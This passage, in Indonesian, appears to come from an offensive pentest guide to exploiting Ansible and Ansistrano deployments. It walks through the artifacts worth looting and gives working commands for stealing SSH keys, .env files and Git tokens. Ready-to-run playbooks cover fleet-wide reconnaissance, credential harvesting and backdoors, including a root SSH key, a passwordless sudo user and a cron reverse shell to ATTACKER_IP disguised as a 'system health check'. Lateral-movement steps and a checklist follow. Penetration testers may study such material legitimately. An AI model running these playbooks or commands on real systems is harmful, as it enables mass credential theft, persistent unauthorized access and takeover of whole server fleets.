~/.ansible/tmp/ansible-local-* | Temp dir | Konfirmasi Ansible local execution |
~/.ansible/tmp/ansible-tmp-* | Temp dir | Konfirmasi mesin ini managed host |
ansiballz_cache/* | Di dalam tmp | Module list → tahu task apa yang dijalankan |
~/.ansible/cp/* | SSH sockets | Reuse SSH session tanpa password |
~/.ansible/facts_cache/ | Fact cache | System info semua managed hosts |
ansible.log | Log | Task history, mungkin credentials |
builds/*/ansible/ | CI workspace | Playbook, inventory, vault files |
.vault_pass* | CI workspace | Vault password → decrypt semua secrets |
ansible-pull cron | Crontab | Git repo URL + credentials |
~/.ansible/galaxy_token | Galaxy | Ansible Galaxy API token |
3.7 Ansistrano & Deployment Role Artifacts
Ansistrano adalah Ansible role populer untuk deployment aplikasi. Nama dari “Ansible” + “Capistrano”. Ini banyak dipakai di production environment dan menyimpan banyak secrets.
Apa itu Ansistrano
Ansistrano menggunakan pola symlink release (sama seperti Capistrano di Ruby):
/var/www/my-app/ ← deploy_to
├── releases/
│ ├── 20260226120000/ ← release lama
│ ├── 20260226130000/ ← release terbaru (source code)
│ └── ...
├── shared/ ← file persistent antar release
│ ├── .env ← ⚠️ environment config (credentials!)
│ ├── storage/ ← uploads, logs
│ └── node_modules/
├── current -> releases/20260226130000/ ← symlink ke release aktif
└── repo/ ← ⚠️ bare git repo (jika git deploy)
└── .git/Variable Sensitif di Ansistrano Config
Cari file group_vars/, host_vars/, atau playbook yang mengandung variable Ansistrano:
1# ========== Deploy Config (group_vars/production.yml) ==========
2
3# Git credentials — SSH private key path
4ansistrano_git_identity_key_path: '/home/deployer/.ssh/id_ecdsa'
5# ⚠️ SSH private key → bisa dipakai clone repo & SSH ke server lain
6
7# Git repo URL
8ansistrano_git_repo: 'git@gitlab.internal:company/webapp.git'
9# ⚠️ Internal Git server → target selanjutnya
10
11# Atau HTTPS dengan token
12ansistrano_git_repo: 'https://deploy_token:glpat-XXXXXXXXXXXX@gitlab.internal/company/webapp.git'
13# ⚠️ GitLab token langsung di URL!
14
15ansistrano_git_branch: 'main'
16ansistrano_deploy_to: '/var/www/webapp'
17ansistrano_deploy_via: 'git' # bisa: git, rsync, download, s3
18ansistrano_keep_releases: 5
19ansistrano_current_dir: 'current'
20
21# Shared files/dirs — symlink dari shared/ ke release
22ansistrano_shared_files:
23 - '.env' # ⚠️ file .env berisi secrets
24 - 'config/database.yml' # ⚠️ database credentials
25 - 'config/secrets.yml' # ⚠️ app secrets
26ansistrano_shared_paths:
27 - 'storage'
28 - 'node_modules'
29
30# Custom hooks (before/after deploy)
31ansistrano_before_symlink_tasks_file: '{{ playbook_dir }}/deploy/before-symlink.yml'
32ansistrano_after_symlink_tasks_file: '{{ playbook_dir }}/deploy/after-symlink.yml'
33# ⚠️ Hook files bisa berisi commands yang leak secrets
34
35# Rsync deploy (jika pakai rsync instead of git)
36ansistrano_rsync_extra_params: '--exclude=.git --exclude=.env.local'
37ansistrano_rsync_set_remote_user: 'deploy'Eksploitasi Ansistrano Artifacts
1# ========== 1. Cari Ansistrano config files ==========
2find / -type f -name "*.yml" -exec grep -l "ansistrano" {} \; 2>/dev/null
3find / -type f -name "*.yaml" -exec grep -l "ansistrano" {} \; 2>/dev/null
4
5# Cari di CI/CD workspace
6grep -r "ansistrano" /home/gitlab-runner*/builds/ 2>/dev/null
7grep -r "ansistrano" /var/lib/jenkins/workspace/ 2>/dev/null
8
9# ========== 2. Extract SSH key dari config ==========
10# Jika ketemu: ansistrano_git_identity_key_path: '/home/deployer/.ssh/id_ecdsa'
11cat /home/deployer/.ssh/id_ecdsa 2>/dev/null
12cat /home/deployer/.ssh/id_rsa 2>/dev/null
13cat /home/deployer/.ssh/id_ed25519 2>/dev/null
14
15# Cek key mana saja yang ada
16ls -la /home/deployer/.ssh/ 2>/dev/null
17# id_ecdsa, id_rsa, id_ed25519 → private keys
18# *.pub → public keys (bisa match ke authorized_keys di server lain)
19# known_hosts → daftar server yang pernah di-SSH
20# config → SSH config (mungkin ada ProxyJump, bastion host)
21
22# ========== 3. Clone repo dengan stolen key ==========
23GIT_SSH_COMMAND="ssh -i /home/deployer/.ssh/id_ecdsa -o StrictHostKeyChecking=no" \
24 git clone git@gitlab.internal:company/webapp.git /tmp/stolen_repo
25
26# ========== 4. Cari secrets di deploy target ==========
27# Shared files (persistent across releases)
28cat /var/www/webapp/shared/.env 2>/dev/null
29cat /var/www/webapp/shared/config/database.yml 2>/dev/null
30cat /var/www/webapp/shared/config/secrets.yml 2>/dev/null
31
32# Current release source code
33ls -la /var/www/webapp/current/
34cat /var/www/webapp/current/.env 2>/dev/null # symlink ke shared/.env
35
36# ========== 5. Git repo di server (jika deploy via git) ==========
37# Ansistrano menyimpan bare repo di deploy target
38ls /var/www/webapp/repo/.git/ 2>/dev/null
39git -C /var/www/webapp/repo log --oneline -20 2>/dev/null
40
41# Remote config mungkin berisi token
42git -C /var/www/webapp/repo remote -v 2>/dev/null
43# origin https://deploy_token:glpat-XXXX@gitlab.internal/company/webapp.git (fetch)
44
45# ========== 6. Semua releases (source code history) ==========
46ls /var/www/webapp/releases/ 2>/dev/null
47# 20260226120000/ 20260226130000/ ...
48# Setiap release = snapshot source code → cari secrets di versi lama
49
50for dir in /var/www/webapp/releases/*/; do
51 echo "=== $dir ==="
52 grep -r "password\|secret\|api_key\|token" "$dir" --include="*.yml" --include="*.env" --include="*.php" --include="*.py" 2>/dev/null | head -10
53done
54
55# ========== 7. Ansistrano hooks — custom deploy tasks ==========
56# Hook files bisa berisi artisan commands, migrations, dll
57find / -path "*/deploy/*.yml" -exec grep -l "ansistrano\|artisan\|migrate\|seed" {} \; 2>/dev/nullDeployment Role Lain yang Mirip
Ansistrano bukan satu-satunya. Cari juga role deployment lain:
1# Cari semua deployment role yang terinstall
2ls ~/.ansible/roles/ 2>/dev/null | grep -i "deploy\|release\|capistrano\|ansistrano"
3
4# Role populer lainnya:
5# - ansistrano.deploy & ansistrano.rollback
6# - f500.project_deploy
7# - cbrunnkvist.ansistrano (fork)
8
9# Cari variable deployment di semua YAML files
10grep -r "deploy_to\|deploy_via\|git_repo\|identity_key\|shared_files\|shared_paths" \
11 /home/gitlab-runner*/builds/ /var/lib/jenkins/ 2>/dev/null
12
13# Cari Laravel/Symfony deployment secrets
14grep -r "APP_KEY\|DB_PASSWORD\|MAIL_PASSWORD\|AWS_SECRET" \
15 /var/www/*/shared/.env 2>/dev/nullRingkasan Ansistrano Artifacts
| Artifact | Lokasi | Value |
|---|---|---|
| SSH private key | ansistrano_git_identity_key_path | Clone repo, SSH ke server lain |
| Git token di URL | ansistrano_git_repo (HTTPS) | Akses Git server (clone repo lain) |
Shared .env | {deploy_to}/shared/.env | Database, API keys, app secrets |
| Shared config | {deploy_to}/shared/config/ | Database credentials, secret keys |
| Bare git repo | {deploy_to}/repo/.git/ | Source code + git remote token |
| Release history | {deploy_to}/releases/*/ | Source code versi lama (mungkin ada hardcoded secrets) |
| Deploy hooks | before-symlink.yml, after-symlink.yml | Custom commands, mungkin leak credentials |
known_hosts | ~/.ssh/known_hosts user deploy | Daftar server yang pernah diakses |
Bab 4 — Post-Exploitation via Ansible
4.1 RCE ke Semua Managed Hosts
Setelah punya akses ke Ansible control node (via AWX, SSH, atau file theft), kamu bisa menjalankan command di semua server sekaligus:
Via Ansible CLI (dari control node):
1# Cek konektivitas ke semua hosts
2ansible all -i inventory/production -m ping
3
4# Jalankan command di semua hosts
5ansible all -i inventory/production -m shell -a "id && whoami && hostname"
6
7# Jalankan di group tertentu
8ansible webservers -i inventory/production -m shell -a "cat /etc/shadow"
9ansible databases -i inventory/production -m shell -a "mysql -e 'SHOW DATABASES;'"
10
11# Baca file sensitif dari semua hosts
12ansible all -i inventory/production -m shell -a "cat /etc/passwd"
13ansible all -i inventory/production -m shell -a "ls -la /root/.ssh/"
14ansible all -i inventory/production -m shell -a "cat /root/.ssh/authorized_keys"
15
16# Reverse shell dari semua hosts (hati-hati, bisa overwhelming)
17# Lebih baik target satu host dulu
18ansible db-master -i inventory/production -m shell -a "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
19
20# Jika perlu vault password
21ansible all -i inventory/production -m shell -a "id" --vault-password-file vault_pass.txt
22
23# Jika perlu become (sudo)
24ansible all -i inventory/production -m shell -a "id" --become --become-pass-file sudo_pass.txtVia Playbook:
1# recon.yml — reconnaissance seluruh infrastruktur
2---
3- hosts: all
4 become: yes
5 tasks:
6 - name: System info
7 shell: |
8 echo "=== HOSTNAME ==="
9 hostname
10 echo "=== IP ==="
11 ip addr | grep inet
12 echo "=== OS ==="
13 cat /etc/os-release
14 echo "=== USERS ==="
15 cat /etc/passwd | grep -v nologin
16 echo "=== SHADOW ==="
17 cat /etc/shadow
18 echo "=== SSH KEYS ==="
19 find /home -name "id_rsa" -o -name "id_ed25519" 2>/dev/null | while read f; do echo "--- $f ---"; cat "$f"; done
20 echo "=== ENV FILES ==="
21 find / -name ".env" -type f 2>/dev/null | head -20 | while read f; do echo "--- $f ---"; cat "$f"; done
22 echo "=== DOCKER ==="
23 docker ps 2>/dev/null || true
24 echo "=== LISTENING PORTS ==="
25 ss -tupln
26 register: recon_output
27
28 - name: Save output
29 local_action:
30 module: copy
31 content: "{{ recon_output.stdout }}"
32 dest: "/tmp/recon_{{ inventory_hostname }}.txt"1ansible-playbook -i inventory/production recon.yml4.2 Credential Harvesting dari Managed Hosts
1# harvest.yml — kumpulkan credentials dari semua managed hosts
2---
3- hosts: all
4 become: yes
5 tasks:
6 - name: Gather .env files
7 shell: find / -name ".env" -type f -readable 2>/dev/null | head -50
8 register: env_files
9
10 - name: Read .env contents
11 shell: "cat {{ item }}"
12 loop: "{{ env_files.stdout_lines }}"
13 register: env_contents
14 ignore_errors: yes
15
16 - name: Gather config files
17 shell: |
18 # WordPress
19 cat /var/www/*/wp-config.php 2>/dev/null
20 # Laravel
21 cat /var/www/*/.env 2>/dev/null
22 # Database configs
23 cat /etc/mysql/debian.cnf 2>/dev/null
24 cat /etc/my.cnf 2>/dev/null
25 # SSH keys
26 cat /root/.ssh/id_rsa 2>/dev/null
27 cat /home/*/.ssh/id_rsa 2>/dev/null
28 register: config_contents
29 ignore_errors: yes
30
31 - name: Gather database credentials
32 shell: |
33 # MySQL
34 mysql -e "SELECT user, host, authentication_string FROM mysql.user;" 2>/dev/null || true
35 # PostgreSQL
36 cat /etc/postgresql/*/main/pg_hba.conf 2>/dev/null || true
37 register: db_creds
38 ignore_errors: yes
39
40 - name: Save all to local
41 local_action:
42 module: copy
43 content: |
44 === ENV FILES ===
45 {{ env_contents | to_nice_json }}
46 === CONFIG FILES ===
47 {{ config_contents.stdout | default('') }}
48 === DATABASE CREDS ===
49 {{ db_creds.stdout | default('') }}
50 dest: "/tmp/harvest_{{ inventory_hostname }}.txt"4.3 Backdoor Deployment via Playbook
1# backdoor.yml — deploy persistent access ke semua hosts
2---
3- hosts: all
4 become: yes
5 tasks:
6 - name: Add SSH key for persistence
7 authorized_key:
8 user: root
9 state: present
10 key: "ssh-rsa AAAA... attacker@host"
11
12 - name: Create backup user
13 user:
14 name: sysbackup
15 password: "$6$rounds=656000$salt$hash..." # mkpasswd --method=sha-512
16 shell: /bin/bash
17 groups: sudo,wheel
18 append: yes
19
20 - name: Add sudoers entry
21 lineinfile:
22 path: /etc/sudoers.d/sysbackup
23 line: "sysbackup ALL=(ALL) NOPASSWD: ALL"
24 create: yes
25 mode: '0440'
26
27 - name: Deploy cron reverse shell
28 cron:
29 name: "system health check"
30 minute: "*/15"
31 job: "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' 2>/dev/null"
32 user: rootPenting: Dalam pentest yang sah, selalu koordinasikan dengan client sebelum deploy backdoor. Dokumentasikan semua perubahan untuk cleanup setelah engagement selesai.
4.4 Lateral Movement via Inventory
Inventory Ansible memberikan peta lengkap untuk lateral movement:
1# 1. Dari inventory, identifikasi target bernilai tinggi
2grep -i "database\|db\|master\|prod\|payment\|vault\|secret" inventory/production
3
4# 2. Gunakan credentials yang sudah didapat untuk akses langsung
5# SSH ke database server
6ssh -i deploy_key deploy@10.0.2.10
7
8# 3. Credentials reuse — coba password Ansible di service lain
9# Database
10mysql -h 10.0.2.10 -u root -p'GlobalDeployPass!'
11psql -h 10.0.2.10 -U postgres -d production
12
13# Web admin panels
14curl -s http://10.0.4.10:3000/login -d '{"user":"admin","password":"GlobalDeployPass!"}'
15
16# 4. Chain access:
17# Ansible control → managed host → credentials di host → service lain
18# Contoh:
19# AWX → SSH ke web server → baca .env → database creds → dump data
20# AWX → SSH ke all servers → baca SSH keys → akses server non-AnsibleFlow lateral movement:
Ansible Control Node / AWX
│
├─ SSH ke web servers
│ ├─ Baca .env, wp-config.php → DB creds
│ ├─ Baca SSH keys → hop ke server lain
│ └─ Application credentials → API access
│
├─ SSH ke database servers
│ ├─ Dump user tables → password hashes → crack
│ ├─ Baca replication config → slave servers
│ └─ Cloud credentials di DB → cloud access
│
├─ SSH ke monitoring servers
│ ├─ Grafana admin → dashboard → info disclosure
│ └─ Prometheus targets → discover more hosts
│
└─ Credentials reuse
├─ Ansible password → try SSH semua server
├─ DB password → try other databases
└─ Cloud keys → full infrastructure4.5 Checklist Ringkasan
Menemukan Ansible/AWX/Semaphore
│
├─ 1. Identifikasi target
│ ├─ AWX/Tower (8043/8052/443)?
│ ├─ Semaphore (3000)?
│ └─ Ansible files di Git/web?
│
├─ 2. Login attempt
│ ├─ Default credentials (admin:password)
│ └─ Brute force API
│
├─ 3. Setelah login AWX/Tower
│ ├─ API enum: users, projects, inventories, credentials
│ ├─ Host list → peta seluruh infrastruktur
│ ├─ Job templates → lihat playbook apa yang berjalan
│ ├─ Job history → lihat output (mungkin ada secrets)
│ └─ Credentials → extract SSH keys/passwords
│
├─ 4. RCE via Ansible
│ ├─ Ad-hoc command → command di managed hosts
│ ├─ Job template baru → playbook custom
│ └─ Modify existing job → inject task
│
├─ 5. Ansible file exploitation
│ ├─ Inventory → daftar semua server + credentials
│ ├─ group_vars → passwords plaintext
│ ├─ Vault files → crack dengan hashcat
│ └─ SSH keys → akses langsung
│
├─ 6. Ansible artifacts (di compromised host)
│ ├─ ~/.ansible/tmp/ → module cache, task forensik
│ ├─ ~/.ansible/cp/ → reuse SSH sessions
│ ├─ ~/.ansible/facts_cache/ → system info semua hosts
│ ├─ ansible.log → task history + leaked credentials
│ ├─ CI builds/ → playbooks, inventory, vault files
│ ├─ .vault_pass → decrypt semua vault secrets
│ └─ ansible-pull cron → Git repo URL + token
│
├─ 7. Ansistrano & deployment roles
│ ├─ SSH key (ansistrano_git_identity_key_path) → clone repo + SSH
│ ├─ Git token di URL → akses Git server
│ ├─ shared/.env → app secrets, DB creds
│ ├─ {deploy_to}/repo/.git/ → source code + remote token
│ └─ releases/*/ → source code history (hardcoded secrets)
│
├─ 8. Post-exploitation
│ ├─ Recon seluruh infrastruktur (ansible all -m shell)
│ ├─ Credential harvesting dari semua hosts
│ └─ Persistent access via SSH key / user / cron
│
└─ 9. Lateral movement
├─ Credentials reuse ke service lain
├─ SSH keys → hop ke server non-Ansible
├─ Database creds → data dump
└─ Cloud keys → infrastructure takeoverBab 5 — (Coming soon)